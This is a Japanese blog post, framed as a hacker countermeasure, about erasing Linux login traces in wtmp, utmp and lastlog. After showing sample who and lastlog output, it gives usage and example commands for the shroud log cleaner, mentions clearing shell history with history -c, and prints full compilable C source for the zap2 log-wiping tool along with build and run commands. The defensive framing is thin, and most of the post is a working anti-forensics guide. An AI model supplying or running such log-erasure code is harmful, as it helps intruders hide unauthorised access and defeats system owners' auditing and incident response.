ハッカー対策:ログインの痕跡を消す方法とは

ハッキング怖いですね、ログが消される方法を研究して対策を練りましょう。

ログインログは主に/var/log/wtmp , /var/run/utmp, /var/log/lastlogに残っています。

wtmp , utmp, lastlogはバイナリ形式なので、消せるソフトを使う必要があります。

wtmp, utmp, lastlog の中身を見ることのできるコマンド

lastコマンド → /var/log/wtmp 

whoコマンド → /var/run/utmp

lastlogコマンド → /var/log/lastlog

の中身を見ることができます。

Whoで見れる中身とは

[root@PC this]# who
someone pts/0 2018-05-18 12:15 (192.168.110.211)
someone pts/1 2018-05-19 12:11 (192.168.110.211)
someone pts/2 2018-05-20 13:50 (192.168.110.211)
root pts/4 2018-05-22 16:21 (192.168.110.133)

who で見れるのはログインした

  • ユーザー    someone
  • 仮想端末名         pts/0
  • 日付                  2018-05-18 12:15
  • IPアドレス         192.168.110.211

ですね。

pts/0とはリモート接続している仮想端末(ターミナル)のことですね

lastlogで見れる中身とは

[root@PC this]# lastlog
ユーザ名 ポート 場所 最近のログイン
root  pts/2 192.168.110.211 月 5月 19 13:50:27 +0900 2018
bin **一度もログインしていません**
daemon **一度もログインしていません**
adm **一度もログインしていません**
lp **一度もログインしていません**
sync **一度もログインしていません**
shutdown **一度もログインしていません**
halt **一度もログインしていません**
mail **一度もログインしていません**
operator **一度もログインしていません**
games **一度もログインしていません**

各ユーザーが最後にログインしたときの情報が残ってますね。

shroud-1.30でログインログを消す

shroudはログクリーナーです。

shroud-1.30 – Phish@mindless.com
usage: [-wulLps] <-n> [-ftUhd]

-w <-Uhd> Wipe <user/device/host> from wtmp
-u <-Uhd> Wipe <user/device/host> from utmp
-p <-fT> Wipe <token> from plaintext <file>
-l <-UhdT> Edits <user>’s host,dev and time in lastlog
-L <-U> Wipes <user> from lastlog
-s <file> Securly wipe <file>
-r Checks for remote syslogd logging hosts
-n Disable secure deletion

Sub arguments:-

-f <file>
-T <token> – Token to be searched for
-t <time> – dofy:dofw:year:month:dofm:hour:min:sec
– see ‘man ctime’ for more detail on struct tm
-U <username>
-h <hostname>
-d <device> – Device to be edited eg. tty4

 

オプションの簡単な説明をしておくと、

-w <-Uhd> Wipe <user/device/host> from wtmp

wオプションは,

<-Uhd> user,host, deviceで使えて

<user/device/host> を消すことができます。

Lオプションでは、

-L <-U> Wipes <user> from lastlog

指定できるのは,

<-U> userのみです。

ですので、

shroud -wuL -U root -h 192.168.1.112

とかで-Lを含んだままホスト(-h)を指定するとエラーになります。

lastlogはホスト情報がないためエラーになります。

 

who /var/log/wtmp

wtmpから消したい場合、whoでログの内容を確認する。

例えば以下のようなログを消したい場合、

user1 pts/0 2017-11-27 13:12 (192.168.1.122)

shroud -w -d pts/0 -U user1 -h 192.168.1.122

と-d -U -hすべてを指定する必要があります。

 

history -c

history -c でhistory が消されるとコマンド履歴がなくなってしまうので何をしたのかわからなくなりますね。

全部なくなるので逆に怪しいです。

コマンド履歴が無い=ハック確定みたいになりますね。

zap2とかもあるよ

zap2でも履歴が消せます。

以下のコードをzap2.c をコンパイルして

zap2 192.168.1.123

とかでIPアドレスのログ痕跡が消せます。

wtmpやutmpがバイナリ形式なので、ログを消そうとすると、こういう風にする必要があります。

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_host,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_host,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}

 

gcc -o zap2 zap2.c

./zap2 IPアドレス

コメント